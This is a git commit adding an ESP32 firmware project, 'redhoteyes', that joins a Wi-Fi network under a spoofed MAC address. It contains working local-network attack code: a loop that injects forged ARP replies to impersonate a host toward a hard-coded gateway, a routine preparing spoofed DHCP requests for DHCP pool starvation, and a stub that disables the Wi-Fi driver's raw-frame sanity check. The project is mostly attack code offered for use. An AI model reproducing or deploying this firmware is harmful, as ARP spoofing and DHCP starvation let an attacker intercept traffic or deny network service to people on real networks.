migrating
This commit is contained in:
@@ -0,0 +1,2 @@
|
||||
idf_component_register(SRCS "redhoteyes.c" "helperFunctions.c"
|
||||
INCLUDE_DIRS "." "include")
|
||||
@@ -0,0 +1,96 @@
|
||||
menu "Project Configuration"
|
||||
|
||||
config WIFI_SSID
|
||||
string "WiFi SSID"
|
||||
default "myssid"
|
||||
help
|
||||
SSID (network name) for the example to connect to.
|
||||
|
||||
config WIFI_PSK
|
||||
string "WiFi Password"
|
||||
default "mypassword"
|
||||
help
|
||||
WiFi password (WPA or WPA2) for the example to use.
|
||||
|
||||
config HOSTNAME
|
||||
string "Hostname"
|
||||
default "redhoteyes"
|
||||
help
|
||||
Hostname lol
|
||||
|
||||
config SPOOFED_MAC_ADDRESS
|
||||
string "Spoofed MAC Address"
|
||||
default "01:02:03:04:05:66"
|
||||
help
|
||||
Set the spoofed MAC address manually as string, format "%x:%x:%x:%x:%x:%x"
|
||||
|
||||
config ESP_MAXIMUM_RETRY
|
||||
int "Maximum retry"
|
||||
default 3
|
||||
help
|
||||
Set the Maximum retry to avoid station reconnecting to the AP unlimited when the AP is really inexistent.
|
||||
|
||||
config LOOP_MSECONDS
|
||||
int "Milliseconds to wait before looping"
|
||||
default 1000
|
||||
help
|
||||
Wait int milliseconds before looping on main task.
|
||||
|
||||
config TAGSUCC
|
||||
string "Tag for success (information level, ESP_LOGI"
|
||||
default "GreatSucc"
|
||||
help
|
||||
Tag used with ESP_LOGI, information level. string
|
||||
|
||||
config TAGFAIL
|
||||
string "Tag for error condition (error via ESP_LOGE)"
|
||||
default "EPIC FAIL YOU SUCK:"
|
||||
help
|
||||
Tag used with ESP_LOGE. error level.
|
||||
|
||||
choice ESP_WIFI_SAE_MODE
|
||||
prompt "WPA3 SAE mode selection"
|
||||
default ESP_WPA3_SAE_PWE_BOTH
|
||||
help
|
||||
Select mode for SAE as Hunt and Peck, H2E or both.
|
||||
config ESP_WPA3_SAE_PWE_HUNT_AND_PECK
|
||||
bool "HUNT AND PECK"
|
||||
config ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT
|
||||
bool "H2E"
|
||||
config ESP_WPA3_SAE_PWE_BOTH
|
||||
bool "BOTH"
|
||||
endchoice
|
||||
|
||||
config ESP_WIFI_PW_ID
|
||||
string "PASSWORD IDENTIFIER"
|
||||
depends on ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT|| ESP_WPA3_SAE_PWE_BOTH
|
||||
default ""
|
||||
help
|
||||
password identifier for SAE H2E
|
||||
|
||||
choice ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD
|
||||
prompt "WiFi Scan auth mode threshold"
|
||||
default ESP_WIFI_AUTH_WPA2_PSK
|
||||
help
|
||||
The weakest authmode to accept in the scan mode.
|
||||
This value defaults to ESP_WIFI_AUTH_WPA2_PSK incase password is present and ESP_WIFI_AUTH_OPEN is used.
|
||||
Please select ESP_WIFI_AUTH_WEP/ESP_WIFI_AUTH_WPA_PSK incase AP is operating in WEP/WPA mode.
|
||||
|
||||
config ESP_WIFI_AUTH_OPEN
|
||||
bool "OPEN"
|
||||
config ESP_WIFI_AUTH_WEP
|
||||
bool "WEP"
|
||||
config ESP_WIFI_AUTH_WPA_PSK
|
||||
bool "WPA PSK"
|
||||
config ESP_WIFI_AUTH_WPA2_PSK
|
||||
bool "WPA2 PSK"
|
||||
config ESP_WIFI_AUTH_WPA_WPA2_PSK
|
||||
bool "WPA/WPA2 PSK"
|
||||
config ESP_WIFI_AUTH_WPA3_PSK
|
||||
bool "WPA3 PSK"
|
||||
config ESP_WIFI_AUTH_WPA2_WPA3_PSK
|
||||
bool "WPA2/WPA3 PSK"
|
||||
config ESP_WIFI_AUTH_WAPI_PSK
|
||||
bool "WAPI PSK"
|
||||
endchoice
|
||||
endmenu
|
||||
@@ -0,0 +1,67 @@
|
||||
#include <string.h>
|
||||
#include <arpa/inet.h>
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
// lwip
|
||||
#include "lwip/sys.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/err.h"
|
||||
|
||||
// custom
|
||||
#include "tags.h"
|
||||
|
||||
int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// convert the string from config to mac
|
||||
void convertStringToMac(char* macString, uint8_t *dstArr) {
|
||||
int values[6];
|
||||
int i;
|
||||
// convert the string to uint8_t [6] array
|
||||
if (6 == sscanf(macString, "%x:%x:%x:%x:%x:%x",
|
||||
&values[0], &values[1], &values[2],
|
||||
&values[3], &values[4], &values[5])) {
|
||||
/* convert to u8int_t */
|
||||
for (i = 0; i < 6; ++i) {
|
||||
dstArr[i] = (uint8_t)values[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ip2bytes(char ipString[], uint8_t *dstArr) {
|
||||
unsigned short a, b, c, d;
|
||||
sscanf(ipString, "%hu.%hu.%hu.%hu", &a, &b, &c, &d);
|
||||
dstArr[0] = a;
|
||||
dstArr[1] = b;
|
||||
dstArr[2] = c;
|
||||
dstArr[3] = d;
|
||||
}
|
||||
|
||||
void calculateBroadcast(char ipString[], char netmask[], char dstArr[INET_ADDRSTRLEN]) {
|
||||
char inetIPStr[INET_ADDRSTRLEN];
|
||||
struct in_addr ipArr, maskArr, broadcast;
|
||||
|
||||
inet_pton(AF_INET, ipString, &ipArr);
|
||||
inet_pton(AF_INET, netmask, &maskArr);
|
||||
broadcast.s_addr = ipArr.s_addr | ~maskArr.s_addr;
|
||||
|
||||
inet_ntop(AF_INET, &(broadcast.s_addr), inetIPStr, INET_ADDRSTRLEN);
|
||||
|
||||
strcpy(dstArr, inetIPStr);
|
||||
|
||||
ESP_LOGI(TAGSUCC, "broadcast: %s", inetIPStr);
|
||||
}
|
||||
|
||||
void hexDump(const void* data, int len) {
|
||||
for(int i=0; i<len; ++i) {
|
||||
printf("%02X ", ((unsigned char*)data)[i]);
|
||||
}
|
||||
}
|
||||
|
||||
void sendPacket(uint8_t packet[], int packetLen) {
|
||||
esp_err_t txStatus = esp_wifi_80211_tx(WIFI_IF_AP, packet, packetLen, false);
|
||||
// hexDump(packet, packetLen);
|
||||
ESP_LOGI(TAGSUCC, "tx return code: %s", esp_err_to_name(txStatus));
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
|
||||
void convertStringToMac(char* macString, uint8_t *dstArr);
|
||||
void ip2bytes(char ipString[], uint8_t *dstArr);
|
||||
void calculateBroadcast(char ipString[], char netmask[], char dstArr[INET_ADDRSTRLEN]);
|
||||
void hexDump(const void* data, int len);
|
||||
void sendPacket(uint8_t packet[], int packetLen);
|
||||
@@ -0,0 +1,49 @@
|
||||
uint8_t spoofARPPkt[] = { 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x2C, 0xCF, 0x67, 0x09, 0x69, 0xF1, 0xC0, 0xA8, 0x04, 0x01, 0xD4, 0x6C, 0x6D, 0x3E, 0xA4, 0x13, 0xC0, 0xA8, 0x01, 0x01 };
|
||||
|
||||
// proper, full
|
||||
uint8_t spoofDHCPRequestPkt[] = { 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0xFF, 0xFF, 0x2C, 0xCF, 0x67, 0x09, 0x69, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
|
||||
0x45, 0x00, 0x01, 0x1C, 0x00, 0x01, 0x00, 0x00, 0x40, 0x11, 0x79, 0xD1, 0x00, 0x00, 0x00, 0x00,
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x43, 0x00, 0x44, 0x01, 0x08, 0x1D, 0xF2, 0x01, 0x01, 0x06, 0x00,
|
||||
0x29, 0x13, 0x5D, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x34, 0x3A, 0x33, 0x66, 0x3A, 0x31, 0x39,
|
||||
0x3A, 0x63, 0x39, 0x3A, 0x33, 0x38, 0x3A, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x82, 0x53, 0x63, 0x35, 0x01, 0x03, 0x32,
|
||||
0x04, 0x0A, 0x00, 0x00, 0xC8, 0x36, 0x04, 0xC0, 0xA8, 0x1F, 0x01, 0xFF };
|
||||
|
||||
|
||||
|
||||
/*
|
||||
// easyread
|
||||
uint8_t spoofDHCPRequestPkt[] = { 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01,
|
||||
0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00,
|
||||
0x45, 0x00, 0x01, 0x1C, 0x00, 0x01, 0x00, 0x00, 0x40, 0x11, 0x6B, 0xC3, 0x03, 0x03, 0x03, 0x03,
|
||||
0x04, 0x04, 0x04, 0x04, 0x00, 0x43, 0x00, 0x44, 0x01, 0x08, 0x94, 0xE9, 0x01, 0x01, 0x06, 0x00,
|
||||
0xD5, 0x04, 0x5C, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x82, 0x53, 0x63, 0x35, 0x01, 0x03, 0x32,
|
||||
04, 0x06, 0x06, 0x06, 0x06, 0x36, 0x04, 0x07, 0x07, 0x07, 0x07, 0xFF };
|
||||
*/
|
||||
@@ -0,0 +1,41 @@
|
||||
#include "tags.h"
|
||||
|
||||
#define WIFI_SSID CONFIG_WIFI_SSID
|
||||
#define WIFI_PSK CONFIG_WIFI_PSK
|
||||
#define HOSTNAME CONFIG_HOSTNAME
|
||||
#define DHCP_IP CONFIG_DHCP_IP
|
||||
#define DNS_SERVER CONFIG_DNS_SERVER
|
||||
#define ESP_MAXIMUM_RETRY CONFIG_ESP_MAXIMUM_RETRY
|
||||
#define SPOOFED_MAC_ADDRESS CONFIG_SPOOFED_MAC_ADDRESS
|
||||
#define WIFI_CONNECTED_BIT BIT0
|
||||
#define WIFI_FAIL_BIT BIT1
|
||||
#define LOOP_MSECONDS CONFIG_LOOP_MSECONDS
|
||||
|
||||
|
||||
#if CONFIG_ESP_WPA3_SAE_PWE_HUNT_AND_PECK
|
||||
#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HUNT_AND_PECK
|
||||
#define H2E_IDENTIFIER ""
|
||||
#elif CONFIG_ESP_WPA3_SAE_PWE_HASH_TO_ELEMENT
|
||||
#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_HASH_TO_ELEMENT
|
||||
#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID
|
||||
#elif CONFIG_ESP_WPA3_SAE_PWE_BOTH
|
||||
#define ESP_WIFI_SAE_MODE WPA3_SAE_PWE_BOTH
|
||||
#define H2E_IDENTIFIER CONFIG_ESP_WIFI_PW_ID
|
||||
#endif
|
||||
#if CONFIG_ESP_WIFI_AUTH_OPEN
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_OPEN
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WEP
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WEP
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WPA_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_PSK
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WPA2_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_PSK
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WPA_WPA2_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA_WPA2_PSK
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WPA3_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA3_PSK
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WPA2_WPA3_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WPA2_WPA3_PSK
|
||||
#elif CONFIG_ESP_WIFI_AUTH_WAPI_PSK
|
||||
#define ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD WIFI_AUTH_WAPI_PSK
|
||||
#endif
|
||||
@@ -0,0 +1,2 @@
|
||||
#define TAGSUCC CONFIG_TAGSUCC
|
||||
#define TAGFAIL CONFIG_TAGFAIL
|
||||
@@ -0,0 +1,223 @@
|
||||
// standard fare
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include <arpa/inet.h>
|
||||
|
||||
// netif
|
||||
#include "esp_netif.h"
|
||||
|
||||
// lwip
|
||||
#include "lwip/sys.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/err.h"
|
||||
|
||||
// custom
|
||||
#include "redhoteyes.h"
|
||||
#include "packets.h"
|
||||
#include "helperFunctions.h"
|
||||
|
||||
// wifi event group for freertos
|
||||
static EventGroupHandle_t s_wifi_event_group;
|
||||
|
||||
esp_netif_t* netifWifi;
|
||||
|
||||
// ip info after connecting to AP
|
||||
char str_ipv4[16]; // local ip os esp
|
||||
char str_ipnm[16]; // netmask
|
||||
char str_ipgw[16]; // gateway
|
||||
|
||||
// set up the mac address
|
||||
char *spoofMacString = SPOOFED_MAC_ADDRESS;
|
||||
uint8_t mac[6];
|
||||
|
||||
void dhcpStarvation(void *pvParameters) {
|
||||
uint8_t gatewayIP[4];
|
||||
ip2bytes(str_ipgw, gatewayIP);
|
||||
|
||||
char broadcastStr[INET_ADDRSTRLEN];
|
||||
uint8_t broadcastIP[4];
|
||||
calculateBroadcast(str_ipgw, str_ipnm, broadcastStr);
|
||||
ip2bytes(broadcastStr, broadcastIP);
|
||||
|
||||
// ESP_LOGI(TAGSUCC, "\n\nbroadcastStr: %s\n\n", broadcastStr);
|
||||
ESP_LOGI(TAGSUCC, "Set Up:\n\tIP: %s\n\tGateway: %s\n\tNetmask: %s\n\tBroadcast: %s\n\tInterface MAC: %x:%x:%x:%x:%x:%x\n\t",
|
||||
str_ipv4,
|
||||
str_ipgw,
|
||||
str_ipnm,
|
||||
broadcastStr,
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
|
||||
|
||||
uint8_t broadcastMAC[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
uint8_t ifaceMAC[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]};
|
||||
uint8_t srcIP[] = {0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t dstIP[] = {0xFF, 0xFF, 0xFF, 0xFF};
|
||||
uint8_t chaddr[] = {mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]};
|
||||
uint8_t requestedIP[] = {0x0A, 0x00, 0x00, 0xC8, 0xFF};
|
||||
|
||||
/*
|
||||
memcpy(&spoofDHCPRequestPkt[13], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[19], &ifaceMAC, sizeof(ifaceMAC) / sizeof(ifaceMAC[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[25], &srcIP, sizeof(srcIP) / sizeof(srcIP[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[44], &broadcastMAC, sizeof(broadcastMAC) / sizeof(broadcastMAC[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[33], &dstIP, sizeof(dstIP) / sizeof(dstIP[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[88], &chaddr, sizeof(chaddr) / sizeof(chaddr[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[210], &requestedIP, sizeof(requestedIP) / sizeof(requestedIP[0]));
|
||||
memcpy(&spoofDHCPRequestPkt[216], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0]));
|
||||
*/
|
||||
int packetLen = sizeof(spoofDHCPRequestPkt) / sizeof(spoofDHCPRequestPkt[0]);
|
||||
|
||||
while(1) {
|
||||
// sendPacket(spoofDHCPRequestPkt, packetLen);
|
||||
ESP_LOGI(TAGSUCC, "Looping...\n\tspoofDHCPRequestPkt\n\tPacket Length: %d", packetLen);
|
||||
// delay on loop
|
||||
vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS);
|
||||
}
|
||||
}
|
||||
|
||||
void redhoteyes(void *pvParameters) {
|
||||
uint8_t spoofedIP[] = {0xC0, 0xA8, 0x04, 0x01}; // spoofed IP
|
||||
uint8_t gatewayMAC[] = {0xD4, 0x6C, 0x6D, 0x3E, 0xA4, 0x13}; // gateway MAC
|
||||
uint8_t gatewayIP[] = {0xC0, 0xA8, 0x01, 0x01}; // gateway IP
|
||||
|
||||
// load the values
|
||||
memcpy(&spoofARPPkt[14], &spoofedIP, sizeof(spoofedIP) / sizeof(spoofedIP[0]));
|
||||
memcpy(&spoofARPPkt[18], &gatewayMAC, sizeof(gatewayMAC) / sizeof(gatewayMAC[0]));
|
||||
memcpy(&spoofARPPkt[24], &gatewayIP, sizeof(gatewayIP) / sizeof(gatewayIP[0]));
|
||||
|
||||
hexDump(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0]));
|
||||
|
||||
// start the loop
|
||||
while(1) {
|
||||
sendPacket(spoofARPPkt, sizeof(spoofARPPkt) / sizeof(spoofARPPkt[0]));
|
||||
ESP_LOGI(TAGSUCC, "Looping");
|
||||
// delay on loop
|
||||
vTaskDelay(LOOP_MSECONDS / portTICK_PERIOD_MS);
|
||||
}
|
||||
}
|
||||
|
||||
static void event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) {
|
||||
static int s_retry_num = 0;
|
||||
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_START) {
|
||||
esp_wifi_connect();
|
||||
} else if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
if (s_retry_num < ESP_MAXIMUM_RETRY) {
|
||||
esp_wifi_connect();
|
||||
s_retry_num++;
|
||||
ESP_LOGI(TAGSUCC, "Retrying to connect to the AP");
|
||||
} else {
|
||||
xEventGroupSetBits(s_wifi_event_group, WIFI_FAIL_BIT);
|
||||
}
|
||||
ESP_LOGE(TAGFAIL,"Failed to connect to AP");
|
||||
} else if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
||||
ip_event_got_ip_t* event = (ip_event_got_ip_t*) event_data;
|
||||
esp_ip4addr_ntoa(&event->ip_info.ip, str_ipv4, IP4ADDR_STRLEN_MAX);
|
||||
esp_ip4addr_ntoa(&event->ip_info.netmask, str_ipnm, IP4ADDR_STRLEN_MAX);
|
||||
esp_ip4addr_ntoa(&event->ip_info.gw, str_ipgw, IP4ADDR_STRLEN_MAX);
|
||||
|
||||
ESP_LOGI(TAGSUCC, "Connected!\n\tIP: %s\n\tNetmask: %s\n\tGateway: %s\n\tSSID: %s\n\tMode: ESP_WIFI_MODE_STA\n\tAuth Threshold: %d\n\tMAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n\tHostname: %s",
|
||||
str_ipv4,
|
||||
str_ipnm,
|
||||
str_ipgw,
|
||||
WIFI_SSID,
|
||||
ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD,
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
HOSTNAME);
|
||||
|
||||
s_retry_num = 0;
|
||||
xEventGroupSetBits(s_wifi_event_group, WIFI_CONNECTED_BIT);
|
||||
}
|
||||
}
|
||||
|
||||
void wifi_init_sta(void) {
|
||||
s_wifi_event_group = xEventGroupCreate();
|
||||
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
netifWifi = esp_netif_create_default_wifi_sta();
|
||||
|
||||
ESP_ERROR_CHECK(esp_netif_set_mac(netifWifi, mac));
|
||||
ESP_ERROR_CHECK(esp_netif_set_hostname(netifWifi, HOSTNAME));
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
esp_event_handler_instance_t instance_any_id;
|
||||
esp_event_handler_instance_t instance_got_ip;
|
||||
ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT,
|
||||
ESP_EVENT_ANY_ID,
|
||||
&event_handler,
|
||||
NULL,
|
||||
&instance_any_id));
|
||||
ESP_ERROR_CHECK(esp_event_handler_instance_register(IP_EVENT,
|
||||
IP_EVENT_STA_GOT_IP,
|
||||
&event_handler,
|
||||
NULL,
|
||||
&instance_got_ip));
|
||||
|
||||
wifi_config_t wifi_config = {
|
||||
.sta = {
|
||||
.ssid = WIFI_SSID,
|
||||
.password = WIFI_PSK,
|
||||
.threshold.authmode = ESP_WIFI_SCAN_AUTH_MODE_THRESHOLD,
|
||||
.sae_pwe_h2e = ESP_WIFI_SAE_MODE,
|
||||
.sae_h2e_identifier = H2E_IDENTIFIER,
|
||||
},
|
||||
};
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
|
||||
ESP_ERROR_CHECK(esp_wifi_start());
|
||||
|
||||
ESP_LOGI(TAGSUCC, "wifi_init_sta finished.");
|
||||
|
||||
/* Waiting until either the connection is established (WIFI_CONNECTED_BIT) or connection failed for the maximum
|
||||
* number of re-tries (WIFI_FAIL_BIT). The bits are set by event_handler() (see above) */
|
||||
EventBits_t bits = xEventGroupWaitBits(s_wifi_event_group,
|
||||
WIFI_CONNECTED_BIT | WIFI_FAIL_BIT,
|
||||
pdFALSE,
|
||||
pdFALSE,
|
||||
portMAX_DELAY);
|
||||
|
||||
/* xEventGroupWaitBits() returns the bits before the call returned, hence we can test which event actually
|
||||
* happened. */
|
||||
if (bits & WIFI_CONNECTED_BIT) {
|
||||
ESP_LOGI(TAGSUCC, "connected to ap SSID: %s", WIFI_SSID);
|
||||
// fork redhoteyes to FreeRTOS task
|
||||
// xTaskCreate(redhoteyes, "redhoteyes", 4096, NULL, 5, NULL);
|
||||
xTaskCreate(dhcpStarvation, "dhcpStarvation", 4096, NULL, 5, NULL);
|
||||
|
||||
ESP_LOGI(TAGSUCC, "Connected to AP- Sending packets");
|
||||
} else if (bits & WIFI_FAIL_BIT) {
|
||||
ESP_LOGE(TAGFAIL, "Failed to connect to SSID:%s, password:%s", WIFI_SSID, WIFI_PSK);
|
||||
} else {
|
||||
ESP_LOGE(TAGFAIL, "FAILURE: UNEXPECTED EVENT");
|
||||
}
|
||||
}
|
||||
|
||||
void app_main(void) {
|
||||
//Initialize NVS
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
|
||||
ESP_ERROR_CHECK(nvs_flash_erase());
|
||||
ret = nvs_flash_init();
|
||||
}
|
||||
ESP_ERROR_CHECK(ret);
|
||||
|
||||
ESP_LOGI(TAGSUCC, "ESP_WIFI_MODE_STA");
|
||||
|
||||
convertStringToMac(spoofMacString, mac);
|
||||
|
||||
ESP_LOGI(TAGSUCC, "MAC Address: %02x:%02x:%02x:%02x:%02x:%02x",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
|
||||
wifi_init_sta();
|
||||
}
|
||||
Reference in New Issue
Block a user